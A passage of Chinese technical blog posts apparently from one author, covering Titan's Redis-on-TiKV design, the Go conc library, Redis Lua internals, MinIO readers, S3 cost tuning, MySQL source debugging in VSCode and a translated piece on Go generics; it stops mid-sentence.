市面上开源 kv 轮子一大堆,架构上都是 rocksdb 做单机引擎,上层封装 proxy, 对外支持 redis 协议,或者根据具体业务逻辑定制数据类型,有面向表格 table 的,有做成列式存储的
国内公司大部分都有自己的轮子,开发完一代目拿到 KPI 走人,二代目继续填坑,三四代沦为边缘。即使开源也很难有持续的动力去维护,比如本文要分享的 美图 titan,很多优化的 proposals 都没实现,但是做为学习项目值得研究,万一哪天二次开发呢
Titan 代码 1.7W 行,纯 go 语言实现。server 层只负责处理用户请求,将 redis 数据结构映射成 rocskdb key/value, 底层使用 tikv 集群
站在巨人的肩膀上,titan 无需考滤数据 rebalance, 不关心数据存储副本同步,这也是为什么代码量如此少
压测 数据只有 2018 年的,性能一般,latency 也没区分 99 和 95 分位。如果基于最新版本的 tikv 集群测试效果可能更好
目前数据结构只实现了 string, set, zset, hash, list, 有些也只是部分支持,只能说够用
持久化的 kv 轮子,难点就是如何把 redis 数据结构与 rocksdb key/value 做映射。原来单进程天然实现的原子性很难实现,维护一种数据涉及多个 key, 如果分布在多个 instance 进程又涉及了分布式事务,吞吐自然降低很多
比然我们常用 lua 脚本自定义一些业务逻辑,将涉及的多个 key 用 hash tag 处理下,变成同一个 redis slot, 但这在 titan 里是做不到的
性能问题,比如 HLEN
操作,本来 redis O(1) 操作,如果在 titan 的 hash metakey 中维护 len 记录,那么高并发写删 hash 时就会有大量冲突。再比如 zset 数据结构,zrange
, zrangebyscore
, zrangebylex
需要将 member, score 分别编码存储,用空间换时间
String
类型只有两种 key: MetaKey, ExpireKey
MetaKey
中 namespace 用于实现多租户隔离,但也只是逻辑上的,毕竟资源仍然是共用的,dbid 类似 redis db0, db1 …
ExpireKey
用于主动过期数据,后台任务定期扫。每个类型都有,后面省略不表
MetaValue
前 42 字节为属性信息,后面才是真正的用户 value. 时间字段表示创建,更新,过期 timestamp, 被动过期时会检查 ExpireAt. uuid 用于唯一标识 key, titan 主动 GC 会用到
Type 表示数据类型
1 | const ( |
Encoding 表示具体的编码类型
1 | const ( |
为了兼容,定义与 redis 一致
MetaKey
与 String 类型一样,MetaValue
一共 50 字节,前 42 字节一样,后 8 字节维护集合 Set
成员数量信息。也就是说后续的 SCARD 是 O(1),但同时删除增加都要修改 MetaValue
DataKey
编码了 Set 唯一 uuid 与成员 member 信息,由于集合只需要成员 member, 所以 DatValue
是 []byte{0}
与集合一样,zset
MetaKey/MetaValue 内容一样
DataKey
内容基本一样,DataValue
是 score 值,同时也维护了 score -> member 映射的 ScoreKey
, 用于空间换时间方便 zrangebyscore
查询
注意这里 hash 的 MetaValue
并没有维护成员 Len 信息,所以当 HLEN
时要遍历 range 整个 data key 空间,为什么这么做呢?
titan 作者说 hash 写并发时会有大量的事务冲突,所以选择不维护。后来他们提出一个方案,对 MetaKey 拆分成多个 slot,尽可能减少冲突,同时还能提高 HELN
性能,不过后来也没实现
List
有两种结构,一个是 ziplist
, value 是用 pb 将多个元素编码在一起, 另外一个是 linkedlist
. 当前实现没看到 ziplist 到 linkedlist 的转换,其实对于持久化存储来说,只用 linkedlist 足够了
MetaValue
后 24 字节分别维护了 len, lindex 和 rindex, 其中 index 类型是 float64, 为什么不是 int64 类型呢?
原因在于对于 Linsert 操作,如果插入 (2, 3) 之间,那么会失败,但是用 float64 大概率会成功,但是考滤 float64 也有精度问题,存在失败的概率
1 | // calculateIndex return the real index between left and right, return ErrPerc= |
DataKey
编码 index 信息,DataValue
就是值
由于 titan 整体都是小事务,所以对于 tikv 事务开启了 1PC 和 AsyncCommit, 来提高整体吞吐量。对于冲突的事务,titan 尽可能重试保证执行成功
关于 affinity 亲缘性问题,titan 想将一个类型的 key 尽可能放到一个 tikv 实例中,当前没有实现,很难,不好搞。可以说 tikv 减少了持久化 kv 开发难度,也束缚了灵活性
Delete
时,删除 MetaKey
,如果存在 TTL 那么删除 ExpireKey
, 对于非 String,将 DataKey
扔到 sys namespace 中
$sys{namespace}:{sysDatabaseID}:GC:{datakey}
后台 doGC
调用 gcDeleteRange
慢慢删除,由于 DataKey
中存在 uuid, 基本不会重复,不影响用户重新创建相同 key
Flushdb
操作也非常重,理论上可以给所有 key 编码时带上 version, 这样可以快速 flush 快速回滚
代码开源只是第一步,周边生态建设好用的人才多。目前看 tikv 运维 pingcap 有很多文档,基本够用了,做好参数上的调优
监控,故障处理,做好 chaos 故障注入测试
数据一致性校验,异构同步 redis 等等目前看都是缺失的
目前 titan 的状态离真正 production ready 还差若干个 P0 故障,OOM 内存被打爆,spike 流量把集群打跨
代码还有些书写瑕疵,想要用的同学,有能力二次开发的做好集群压测,故障注入,限流,千万不要急于上线,随时做好回滚的准备
分享知识,长期输出价值,这是我做公众号的目标。同时写文章不容易,如果对大家有所帮助和启发,请帮忙点击在看
,点赞
,分享
三连
上个月 sourcegraph 放出了 conc 并发库,目标是 better structured concurrency for go, 简单的评价一下
每个公司都有类似的轮子,与以往的库比起来,多了泛型,代码写起来更优雅,不需要 interface, 不需要运行时 assert, 性能肯定更好
我们在写通用库和框架的时候,都有一个原则,并发控制与业务逻辑分离,背离这个原则肯定做不出通用库
标准库自带 sync.WaitGroup
用于等待 goroutine 运行结束,缺点是我们要处理控制部分
代码里大量的 wg.Add
与 wg.Done
函数,所以一般封装成右侧的库
1 | type WaitGroup struct { |
但是如何处理 panic 呢?简单的可以在闭包 doSomething
运行时增加一个 safeGo 函数,用于捕捉 recover
原生 Go
要生成大量无用代码,我司 repo 运动式的清理过一波,也遇到过 goroutine 忘写 recover 导致的事故。conc
同时提供 catcher
封装 recover 逻辑,conc.WaitGroup
可以选择 Wait
重新抛出 panic, 也可以 WaitAndRecover
返回捕获到的 panic 堆栈信息
1 | func (h *WaitGroup) Wait() { |
高级语言很多的基操,在 go 里面很奢侈,只能写很多繁琐代码。conc
封装了泛型版本的 iterator 和 mapper
1 | func process(values []int) { |
上面是使用例子,用户只需要写业务函数 handle. 相比 go1.19 前的版本,泛型的引入,使得基础库的编写更游刃有余
1 | // Iterator is also safe for reuse and concurrent use. |
MaxGoroutines 默认 GOMAXPROCS 并发处理传参 slice, 也可以自定义,个人认为不合理,默认为 1 最妥
1 | // ForEachIdx is the same as ForEach except it also provides the |
ForEachIdx
在创建 Iterator[T]{}
可以自定义并发度,最终调用 iter.ForEachIdx
1 | // ForEachIdx is the same as ForEach except it also provides the |
ForEachIdx
泛型函数写得非常好,略去部分代码。朴素的实现在 for 循环里创建闭包,传入 idx 参数,然后 wg.Go 去运行。但是这样会产生大量闭包,我司遇到过大量闭包,造成 heap 内存增长很快频繁触发 GC 的性能问题,所以在外层只创建一个闭包,通过 atomic 控制 idx
1 | func Map[T, R any](input []T, f func(*T) R) []R { |
Map
与 MapErr
也只是对 ForEachIdx
的封装,区别是处理 error
Pool
用于并发处理,同时 Wait
等待任务结束。相比我司现有 concurrency 库
先看一下支持的接口
1 | Go(f func()) |
1 | Go(f func(context.Context) (T, error)) |
理论上这一个足够用了,传参 Context
, 返回泛型类型与错误。
1 | Wait() ([]T, error) |
这是对应的 Wait
回收函数,返回泛型结果 []T
与错误。具体 Pool
实现由多种组合而来:Pool
, ErrorPool
, ContextPool
, ResultContextPool
, ResultPool
1 | func (p *Pool) Go(f func()) { |
复用方式很巧妙,如果处理速度足够快,没必要过多创建 goroutine
Stream
用于并发处理 goroutine, 但是返回结果保持顺序
1 | type Stream struct { |
实现很简单,queue 是一个 channel, 类型 callbackCh
同样也是 channel, 在真正派生 goroutine 前按序顺生成 callbackCh 传递结果
Stream
命名很差,容易让人混淆,感觉叫 OrderedResultsPool
更理想,整体非常鸡肋
超时永远是最难处理的问题,目前 conc 库 Wait
函数并没有提供 timeout 传参,这就要求闭包内部必须考滤超时,如果添加 timeout 传参,又涉及 conc 内部库并发问题题
1 | Wait() ([]T, error) |
比如这个返回值,内部 append 到 slice 时是有锁的,如果 Wait
提前结束了会发生什么?
[]T
拿到的部分结果只能丢弃,返回给上层 timeout error
通用库很容易做的臃肿,我司并发库会给闭包产生新的 context, 并继承所需框架层的 metadata, 两种实现无可厚非,这些细节总得要处理
代码量不大,感兴趣的可以看看。没有造轮子的必要,够用就行,这种库写了也没价值
分享知识,长期输出价值,这是我做公众号的目标。同时写文章不容易,如果对大家有所帮助和启发,请帮忙点击在看
,点赞
,分享
三连
关于 redis lua 的使用大家都不陌生,应用场景需要把复杂逻辑的原子性,比如计数器,分布式锁。见过没用 lua 实现的锁,不出 bug 也算是神奇
好奇实现的细节,阅读了几个版本,本文源码展示为 3.2 版本, 7.0 重构比较多,看着干净一些
1 | redis> EVAL "return { KEYS[1], KEYS[2], ARGV[1], ARGV[2], ARGV[3] }" 2 key1 key2 arg1 arg2 arg3 |
上面是简单的测试用例,其中 2 表示紧随其后的两个参数是 key, 我们通过 KEYS[i]
来获取,后面的是参数,通过 ARGV[i]
获取。我司历史上遇到过一次 redis 主从数据不一致的情况,原因比较简单:
Lua 脚本需要 hgetall
拿到所有数据,但是依赖顺序,恰好此时底层结构 master 己经变成了 hashtable
, 但是 slave 还是 ziplist
, 获取到的第一个数据当成 key 去做其它逻辑,导致主从不一致发生
引出使用 redis lua 最佳实践之一:无论单机还是集群模式,对于 key 的操作必须通过参数列表,显示的传进去,而不能依赖脚本或是随机逻辑
结论其实显而易见,会有数据不一致的风险,同时对于 cluster 模式,要求所有 keys 所在的 slot 必须在同一个 shard 内,这个检测是在 smart client 或者是 cluster proxy 端
导致问题的原因在于,redis 旧版本同步时,本质上还是直接执行的 lua 脚本,这种模式叫做 verbatim replication
. 如果只同步 lua 脚本修改的内容可以避免这类 issue, 类似于 mysql binlog 的 SQL 模式和 ROW 模式的区别(也不完全一样)
实际上 redis 也是这么做的,3.2 版本引入 redis.replicate_commands()
, 只同步变更的内容,称为 effects replication
模式。5.0 lua 默认为该模式,在 7.0 中移除了旧版本的 verbatim replication
的支持
1 | int luaRedisGenericCommand(lua_State *lua, int raise_error) { |
3.2 版本中,当 lua 虚拟机执行 redis.call 或者 redis.pcall 时调用 luaRedisGenericCommand
, 如果开启了 lua_replicate_commands
选项,那么生成一个 multi
事务命令用于复制
同时 call
去真正执行命令时,call_flags 打上 CMD_CALL_PROPAGATE_AOF
与 CMD_CALL_PROPAGATE_REPL
标签,执行命令时生成同步命令
1 | void evalGenericCommand(client *c, int evalsha) { |
略去无关代码,evalGenericCommand
函数最后判断,如果处于 effects replication
模式,那么只通过事务去执行产生的命令,而不是同步 lua 脚本,生成一个 exec
命令
另外为了保证 deterministic
确定性,redis lua 做了以下事情:
math.random
, 使用同一个种子,使得每次获取得到随机序列是一样的(除非指定了 math.randomseed)SMEMBERS
, 4.0 版本 redids lua 会额外的做一次排序再返回。但是 5.0 后去掉了这个排序,因为前面提到的 effects replication
避免了这个问题,但是使用时不要假设有任何排序,是否排序要看普通命令的文档说明RANDOMKEY
, SRANDMEMBER
, TIME
随机命令后,尝试去修改数据库,会报错。但是只读的 lua 脚本可以调用这些 non-deterinistic 命令一般我们用 eval
命令执行 lua 脚本内容,但是对于高频执行的脚本,每次都要从文本中解析生成 function 开销会很高,所以引入了 evalsha
命令
1 | > script load "redis.call('incr', KEYS[1])" |
先调用 script load
生成对应脚本的 hash 值,每次执行时只需要传入 hash 值即可
1 | EVALSHA da0bf4095ef4b6f337f03ba9dcd326dbc5fc8ace 1 testkey |
对于 failover, 或第一次执行时 redis 不存在该 lua 函数则报错
1 | > EVALSHA da0bf4095ef4b6f337f03ba9dcd326dbc5fc8aca 1 testkey |
所以,我们在封装 redis client 时要处理异常情况
evalsha
调用脚本NOSCRIPT
, 再调用 SCRIPT LOAD
创建 lua 函数,Client 再正常调用 evalsha
1 | void scriptCommand(client *c) { |
命令入口函数 scriptCommand
,LOAD
名字很不直观,以为是个只读命令,但实际上做了很多事情:
luaCreateFunction
创建运行时函数forceCommandPropagation
设置 flag 参数用于复制到从库或者 AOF初始化只需看 scriptingInit
函数,主要功能是加载 lua 库(cjson, table, string, math …), 移除不支除的函数(loadfile, dofile), 注册我们常用的命令表到 lua table 中(call, pcall, log, math, random …), 最后创建虚拟的 redisClient 用于执行命令
1 | void scriptingInit(int setup) { |
这里面涉及 c 如何与 lua 语言交互,如何互相调用的问题,不用深究用到了再学即可
lua_newtable(lua);
创建 lua table 并入栈,此时位置是 -1
lua_pushstring(lua,"call");
入栈字符串 call
lua_pushcfunction(lua,luaRedisCallCommand);
入栈函数 luaRedisCallCommand
lua_settable(lua,-3);
生成命令表,此时 table 位置是 -3,然后一次从栈中弹出,即伪代码为 table["call"] = luaRedisCallCommand
1 | eval "redis.call('incr', KEYS[1])" 1 testkey |
这也就是为什么我们的 lua 脚本可以执行 redis 命令的原因,函数查表去执行。其它命令也同理
1 | /* Replace math.random and math.randomseed with our implementations. */ |
这里也看到同时修改了 random 函数行为
eval
函数总入口是 evalCommand
, 这里参考 3.2 源码,非 debug 模式下执行调用 evalGenericCommand
, 函数比较长,主要分三大块
1 | void evalGenericCommand(client *c, int evalsha) { |
命令执行前的检查阶段,设置随机种子,设置一些 flag, 并检查 keys 个数是否正确
1 | /* We obtain the script SHA1, then check if this function is already |
lua 中保存脚本 funcname 格式是 f_{evalsha hash}
, 如果每一次执行,调用 luaCreateFunction
让 lua 虚拟机加载 user_script 脚本
1 | /* Populate the argv and keys table accordingly to the arguments that |
luaSetGlobalArray
将 KEYS
, ARGS
以参数形式入栈,设置一堆 debug/slow call 相关的参数,最后 lua_pcall
执行用户脚本,lua 虚拟机执行脚本时,如果遇到 redis.call
就会回调 redis 函数 luaRedisCallCommand
, 对应的 redis.pcall
执行 luaRedisPCallCommand
函数
1 | if (err) { |
代码有点长,总体就是执行超时处理,生成 exec
用于复制,最后如果 replication 从库没有执行过这个 evlsha
脚本,并且当前模式不是 lua_always_replicate_commands 要把脚本真实内容也先同步到 replication
这里还有最重要的是 luaReplyToRedisReply(c,lua);
将 lua 返回值,转换成 redis RESP 格式
再来看一下 luaRedisGenericCommand
是如何调用 redis 函数
1 | int luaRedisGenericCommand(lua_State *lua, int raise_error) { |
这里的功能,主要是从 lua 虚拟机中获取 eval 脚本的参数,赋值给 redisClient, 为以后执行命令做准备
1 | /* Command lookup */ |
lookupCommand
查表,找到要执行的 redis 命令
1 | /* There are commands that are not allowed inside scripts. */ |
如果是不允许在 lua 中执行的命令,报错退出
1 | /* Write commands are forbidden against read-only slaves, or if a |
设置 cmd->flags
1 | /* If this is a Redis Cluster node, we need to make sure Lua is not |
如果是 cluster 模式,要保证 lua 的 keys 所在的 slots 必须在本地 shard
1 | /* If we are using single commands replication, we need to wrap what |
如果是 effect replication
模式,生成 multi
事务命令用于复制
1 | /* Run the command */ |
这里才去真正的执行命令,call_flags
参数用于控制是否复制,是否生成 AOF 等等
1 | /* Convert the result of the Redis command into a suitable Lua type. |
redisProtocolToLuaType
把 redis 结果转换成 lua 类型返回给 lua 虚拟机
感慨一下,redis 仅有的几个数据结构就能满足 90% 的业务需求,最近几个版本优化非常明显,大家赶紧升级吧,享受新版的福利
从生产环境上看,大版本稳定半年到一年,大胆升级准没错,还在抱残守缺的用 redis 3.X 4.X 的活该遇到各种问题
写文章不容易,如果对大家有所帮助和启发,请大家帮忙点击在看
,点赞
,分享
三连
关于 redis lua
大家有什么看法,欢迎留言一起讨论,大牛多留言 ^_^
IO Pipeline 不算什么新鲜事儿,通过 io.Reader
io.Writer
等接口,把多个流处理连接一起,只需返回 Reader
, 直到调用 Read
函数时才读数据,高效节约内存。类比 Spark 流处理,transformation 时只是传递 RDD, 只有 Action 时才会触发数据计算
举一个从 http 读取 json 数据的例子:
1 | http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { |
我们不需要 ioutil.ReadAll
全部 body 再调用 Unmarshal
, decoder
内置 buffer 流式解析即可。但是这个例子不完美,有很多问题
Content-Type
header, 只有 json 才允许 Decode1 | func decodeJSONBody(w http.ResponseWriter, r *http.Request, dst interface{}) error { |
上面是改进后的版本,看着舒服多了,这还只是一个 reader 的实现。在 minio
中,经常有 N 多个 io.Reader
或者 io.Writer
组合在一起,实现 io pipeline, 稍复杂一些
略去错误处理,只看 getObjectHandler
主干代码
1 | func (api objectAPIHandlers) getObjectHandler(ctx context.Context, objectAPI ObjectLayer, bucket, object string, w http.ResponseWriter, r *http.Request) { |
getObjectNInfo
调用后端具体实现,返回 GetObjectReader
gr, 从 gr 中读取数据写回 http Writer …
gr 实现有很多种,minio 支持 NAS,FS, EC 多种模式,可以从文件系统中读数据,可以从 remote http 中读取
GetObjectNInfo
定义在 fs-v1.go, 原理比较简单, 根据 header 获取要读取文件的 offset, length 组装后返回 objReaderFn
1 | func (fs *FSObjects) GetObjectNInfo(ctx context.Context, bucket, object string, rs *HTTPRangeSpec, h http.Header, lockType LockType, opts ObjectOptions) (gr *GetObjectReader, err error) { |
NewGetObjectReader
代码会处理压缩或者加密的场景,内部还会构建 reader. fsOpenFile
打开文件后,还要封装一层 io.LimitReader
获取指定长度的数据
1 | func NewGetObjectReader(rs *HTTPRangeSpec, oi ObjectInfo, opts ObjectOptions) ( |
switch 分支会处理 isCompressed
, isEncrypted
, default
三种场景,区别是需要重新计算文件的 offset, length 然后再封装对应的 io.Reader …
1 | func (er erasureObjects) GetObjectNInfo(ctx context.Context, bucket, object string, rs *HTTPRangeSpec, h http.Header, lockType LockType, opts ObjectOptions) (gr *GetObjectReader, err error) { |
与 fs 本地文件系统的区别在于,需要从多个 onlineDisks
中读取数据,并且可能是 remote 网络请求
这里用到了 xioutil.WaitPipe
底层是对 io.Pipe
的封装,getObjectWithFileInfo
把数据写入 pw 管道,上层调用 Read 从 pr 管道中读取数据
1 | func (er erasureObjects) getObjectWithFileInfo(ctx context.Context, bucket, object string, startOffset int64, length int64, writer io.Writer, fi FileInfo, metaArr []FileInfo, onlineDisks []StorageAPI) error { |
newBitrotReader
封装多个 reader, NewErasure
从 reader 中读数据,调用 Decode
解码读取的数据,如果出现错误,那么需要调用 healObject
尝试修复,理论上 K+M 中至多可以损坏 M 份数据
如上图所示,8 台机器,每台 16 块硬盘,每块硬盘 8T, 总大小 1PB. 如果 strip 条带 K+M=16, 其中 M=4 的情况下,可用空间为 768T,利用率 75%
至多可以损坏 32 块硬盘,或者 2 台机器宕机
上面分析读取,对于上传对象逻辑也同理。Minio 代码整体 20w 行, 涉及到了大部分对象存储的知识,适合入门,值得一读
分享知识,长期输出价值,这是我做公众号的目标。同时写文章不容易,如果对大家有所帮助和启发,请帮忙点击在看
,点赞
,分享
三连
提起对象存储,业务唯一扛把子就是 AWS Simple Storage Service (S3), 国内云厂商不需要做什么,要什么创新,直接抄就完事。协义都是现成的,哪家厂商敢不支持 s3 协义,都会被现实打脸,纯纯的开卷考试
对于公司来讲,无论是否多云架构,还是自建 IDC, 对象存储选型也只能是支持 S3 协义的,比如探探选型的 Minio
, 还有基于 SeaweedFS
改造的,必选项就是协义
业务也有很多基于 S3 的创业项目,比如基于 Fuse 实现的 juicefs
分布式文件系统,目前大数据领域用的非常多,听说前两年实现了收支平衡,当然收入来自国外 ^^ 还有 olap 数据库 databend 等等
S3 己经是 IT 的基础设施,想象不到离开 S3, 自建成本有多离谱。做为程序员自建轮子飞起,技术实现上也没什么秘密,都是公开的,锻炼技术。就看谁能把稳定性做好,把成本降下来
上面截图来自 aws 官网,大数据分析、日志存储、应用数据、视频图片、备份都围绕 S3, 对于应用来讲,屏蔽了底层细节,无容量限制
而且 aws 大部分产品也都构建在 s3 之上,围绕对象存储基础设施,构建庞大的生态。这也是为什么单独做云存储的厂商,无法存储,无法盈利的原因 … 比如七牛,如果用阿里云的大数据平台,存取七牛对象存储还要跨公网,谁也接受不了这个成本,这家公司半死不活,己经沦落为某云厂商 cdn 的二道贩子
也可以想象一下,如果我司自建 IDC, 现有的 infra 团队人员至少翻倍,这里羡慕国外的 infra 创业,能买 saas 服务,绝不造轮子。从财务到办公软件,从监控系统到数据库,都是买的服务
刚毕业工作时,数据库的备份只能写到磁盘上,然后把磁盘存储到保险柜,没得选,当时国内公有云厂商接受度还不高
S3 好用,但代价也是真的贵,需要根据实用使用选择不同的类型:Standard
, Intelligent-Tiering
与 Glacier
标准的最贵,对于频繁读取的默认即可。如果数据读很少,可以选择 Intelligent-Tiering
智能存储:Frequent Access Tier
, Infrequent Access Tier
, Archive Instant Access Tier
对于不追求多活的可以选择 one-zone, 去掉 versioning 多版本存储,进一步降低成本
对于大量的历史审记数据,选择 Glacier
冰川类型,缺点是转成冰川类型,后续无法读取,需要手动恢复成正常类型。
AWS 当然不是大善人,冰川类型存取都要花钱,一次性转换成本非常高。对于大量小对象,无法利用 Intellint-Tiering
类型,最小对象大小要求 128KB, 同时每个对象还有额外 40KB 开销,用于维护对象元数据信息。我们服务的 10% 成本来自这块的开销,惊不惊喜,意不意外 …
至于技术实现细节,估计也是多副本离线转 EC 纠删码, 但是 aws 拥有庞大的机器规模,海量的过保机器,闲着也是闲着。这里推荐美团对象存储系统, 干活十足,技术点都讲到了
这里介绍下我们的场景,订单完成或退货,都要拍照生成 proof 凭据,供后续审计使用。订单完成还要生成发票收据,这些都是图片的形式存储到 S3, 海量的小对象,成本非常高
为了降低成本己经选择了智能存储与冰川类型,但是这还远远不够。这类场景有个前提:
经过调研我们可以把图片压缩,并且合并成大文件按历史时间存储,好处是可以充分利用智能类型,使用便宜的 tier, 同时图片经过压缩后大小只有原来的一半
原有逻辑,后端服务生成临时 presigned s3 public URL, 客户端公网访问即可,那么如何读取历史订单数据呢?这里用到了 s3 的技术 object accesspoint 与 select api
简单来讲,历史数据合并成 parquet
格式大文件,上传到 S3, 用户访问 encoded s3 url 时,access point 调用 lambda 解析 url, 定位到 parquet 文件位置,然后使用 S3 Select API 查询图片数据
1 | message Object { |
可以把 parquet
想象成数据库的表,提前定义好 schema, 使用 SQL 来查询数据。Object
由 thrift 定义 IDL, Payload
是我们的历史图片 binary 数据
1 | select Payload from S3Object where ID=XXX limit 1 |
这是 select api 定义的查询 SQL, 至于 AWS 底层如何存储 parquet
文件仍然是黑盒,limit 1
算子好像不能 condition push down 到底层存储,无法提前返回,也就是说加不加 limit 1
效果可能一样
1 |
|
上面是 lambda 回调的伪代码示例,像不像读取数据库?
理想情况下,aws 应该将 parquet
按照 Row Group 分开存储数据,并且用 parquet index 加速查询,或者是自建 Object
索引,类似于 mysql table. 或者添加 bloomfilter, 总之就是减少数据扫描,一个是减小 access point 查询时间,一个是减少成本,aws 奸商是按照扫描数据大小收费的!!!
目前 aws 应该没实现算子下推,了解这块的朋友可以说下 ^^ 再次感慨 aws 生态的强大,收费也是真贵
推荐大家读下 minio 或者 seaweedfs 源码,本篇分享的优化 idea 启发于 minio 源码。多读读业界实现,没坏处,说不定哪个带来了灵感
分享知识,长期输出价值,这是我做公众号的目标。同时写文章不容易,如果对大家有所帮助和启发,请帮忙点击在看
,点赞
,分享
三连
前几天看到姜老师的旧文用 VSCode 编译和调试 MySQL,每个 DBA 都应 get 的小技能, 文末留了一个思考题,如何修改源码,自定义版本,使得 select version()
输出自定义内容
调试过程参考macOS VSCode 编译调试 MySQL 5.7
内部 Item
对象参考从SQL语句到MySQL内部对象
源码面前没有秘密,建义对 DB 感兴趣的尝试 debug 调试。本文环境为 mac + vscode + lldb
vscode 插件:
mysql 源码:
补丁:MySQL <= 8.0.21
需要对 cmake/mysql_version.cmake 文件打补丁 (没有严格测试所有版本)
1 | tar -zxf mysql-boost-5.7.35.tar.gz |
创建 cmake-build-debug
目录,后续 mysql 编译结果,以及启动后生成的文件都在这里
1 | mkdir -p cmake-build-debug/{data,etc} |
在 mysql 工程目录下面创建 .vscode/settings.json
文件
1 | { |
内容没啥好说的,都是指定目录及 boost 配置,其中 WITH_DEBUG
打开 debug 模式,会在 /tmp/debug.trace 生成 debug 信息
View
-> Command Palette
-> CMake: Configure
执行后生成 cmake 配置
View
-> Command Palette
-> CMake: Build
编译生成最终 mysql 相关命令
发现老版本编译很麻烦,各种报错,mysql 5.7 代码量远超过 5.5, 只能硬着头皮看 5.7
首先初始化 my.cnf 配置,简单的就可以,共它均默认
1 | cd cmake-build-debug |
初始化数据文件,非安全模式,调试用
1 | ./build/sql/mysqld --defaults-file=etc/my.cnf --initialize-insecure |
1 | tree -L 1 data |
由于用 vscode 接管 mysql, 所以需要配置 .vscode/launch.json
1 | { |
然后点击 run and debug mysqld
mysql 启动,看到输出日志无异常,此时可以用 mysql-client 连接
1 | mysql -uroot -S ./data/mysql.sock |
首先在 sql_parser.cc:5435 处打断点
1 | void mysql_parse(THD *thd, Parser_state *parser_state) |
mysql_parse
是 sql 处理的入口,至于 tcp connection 连接先可以忽略
1 | mysql> select version(); |
执行上述 sql 自动跳转到断点处,Step Into
, Step Over
, Step Out
这些调试熟悉下即可
接下来分别调用主要函数:mysql_execute_command
, execute_sqlcom_select
, handle_query
, select->join->exec()
, Query_result_send::send_data
, Item::send
, Item_string:val_str
, Protocol_text::store
, net_send_ok
启动 mysql 时 init_common_variables
会初始化一堆变量,其中会调用 set_server_version
生成版本信息,修改这个就可以
1 | static void set_server_version(void) |
看好条件编译的是哪块,修改即可,重新 CMake: Build
编译再运行
1 | select version(); |
这里不做过深分析,简单讲
select version()
, select now()
这些简单 sql 在 server 层就能得到结果,无需进入引擎层version()
, now()
这些函数在 yacc&lex 词法解析时就会解析成对应的 Item
类Item::itemize
写到 result 中1 | function_call_generic: |
sql_yacc.cc
函数 PTI_function_call_generic_ident_sys
解析 sql, 识别出 version()
是一个函数调用
1 | virtual bool itemize(Parse_context *pc, Item **res) |
find_native_function_builder
查找 hash 表,找到对应 version
函数注册的单例工厂函数
1 | static Native_func_registry func_array[] = |
mysql 启动时调用 item_create_init
将这些函数 builder 注册到 hash 表 native_functions_hash
1 | Create_func_version Create_func_version::s_singleton; |
1 | class Item_func_version : public Item_static_string_func |
可以看到 Item_func_version
函数创建时传参即为 mysql server_version
版本信息
MySQL 代码太庞大,5.1 大约 100w 行,5.5 130w 行,5.7 以后 330w 行,只能挑重点读源码。最近很多群里的人在背八股,没必要,有那时间学着调试下源码,读读多好
分享知识,长期输出价值,这是我做公众号的目标。同时写文章不容易,如果对大家有所帮助和启发,请帮忙点击在看
,点赞
,分享
三连
强烈推荐大家读完,可以很好的理解泛型实现,以及当前有哪些性能问题,翻译时我会加些注释,以便大家更好的理解,原文链接请看底部
Go 1.18 发布很久了,人们期待己久的第一个版本终于可以投入生产环境使用。泛型是经常被提到的功能,在 Go 社区中一直存在争议
一方面,强烈的反对者会担心增加复杂性,担心 go 会不可避免的演变成下一个企业版的 java-lite, 或者是一个用 Monnads 代替 ifs 的退化版 HaskellScript. 平心而论,这两种担心可能被夸大了
另一方成面,泛型支持都认为,这是大规模复用代码,并能保持干净的功能
本篇文章不想在争论中战队,也没有建议如何在 go 中使用泛型。想反,我想聊一下很多工程师感兴趣的,单态化以及带来的性能问题(很多人感兴趣,并且我们会失望)
业务有很多泛型实现,简单的说一下以便了解 go 1.18 的实现。由于本文重点在于 system engineering, 我们尽可能让这种理论的讨论变得轻松一些
假设你想创建一个多态函数(polymorphic function), 广义来讲,有两种方法:
函数操作所有实现都有相同的外观和行为,通常在堆上分配对象,然后将穹们的指针传递给函数。由于所有的对象都有相同的形状(它们都是指针!),我们对它们操作所需要的就是知道,这些方法在哪里。因此,传递给我们的通常伴随一个函数指针表,通常称为 虚拟方法表
或是 vtable
. 大家对这个肯定有印象,这就是 go interface 实现方式,也是 rust 中 dyn Traits
, 以及 c++ 中的虚拟类。这些都是多态的形式,在实践中容易使用,但由于运行时的开销比较高而受到限制
我们常讲的单态化(monomorphization), 名字听起来吓人,但实现去相对简单。理解为为每个必须操作的类型单独,创建一个函数副本。比如,你想实两两数相加的函数,当调用 float64 类型时,编译器会创建一个函数的副本,并将通用类型占位符替换为 float64. 这是迄今为止实泛型最简单的,同时对于编译器来讲也带来开销
历史上,单态化一直是在系统语言(如C++、D或Rust)中实现泛型的首选设计。这有很多原因,但都可以归结为用较长的编译时间来换取结果代码的显著性能提升
当你在编译器执行任何优化过程之前,将泛型代码中的类型占位符替换为其最终类型时,你就创造了一个令人兴奋的优化宇宙,而这在使用 boxed 类型(上面提到的装箱)时基本上是不可能的。
至少,你可以去掉虚函数调用,摆脱虚拟表;在最好的情况下,你可以内联代码,这反过来又可以进一步优化,内联代码是很好的
对于系统编程语言来说,单态化是一个彻底的胜利:从本质上讲,它是唯一一种运行时开销为零的多态性形式,而且通常它的性能开销为负。它使通用代码更快
所以,作为一个致力于提高大型 go 服务性能的人,我承认对 go 泛型并不特别兴奋,真的。我对单态化感到兴奋,也对 go 编译器有可能进行优化感到兴奋,因为它在处理接口时根本做不到。但我很失望。Go 1.18 中的泛型实现并没有使用单态化……至少,还没
实际上 go 泛型实现是基于 GCShape stenciling with Dictionaries
的部分单太化实现,细节大家可以参考官方 design document. 为了完整性,咱们简单的看一下实现:
核心思想是,由于 fully monomorphizing
完全单太化每个实现,会产生大量的代码副本,我们可以在更高层次上做单态化,而不是基于每个类型
因此,go 实现中,编译器根据参数的 GCShape
而不是类型来执行单态化,go 官方称这种单态化为 stenciling
(中文是钢网,也是一种模板的意义,不好翻译,大家体会下吧)
GCShape
是 go 特有的抽像概念,两个具体的类型可以归类同一个 gcshape group, 当且仅当他们有相同的底层类型或是都是指针(这是伏笔,后面的性能问题就来自于此). 这个概念很直白:比如你有个函数,要对参数进行运算,例如 go 编译器会根据它们的类型有效地进行单态化,使用积分算术指令的 uint32 生成的代码,肯定与浮点数的 float64 不同,同理基于 uint32 别名的类型肯定与底层 uint32 的代码相同
到目前为止,一切都很好。然后,gcshape
定义的第二部分对性能有很大影响。让我再强调一下:All pointers to objects belong to the same GCShape, regardless of the object being pointed at
这意味着 *time.Time
指针和 *uint64
, *bytes.Buffer
, *strings.Builder
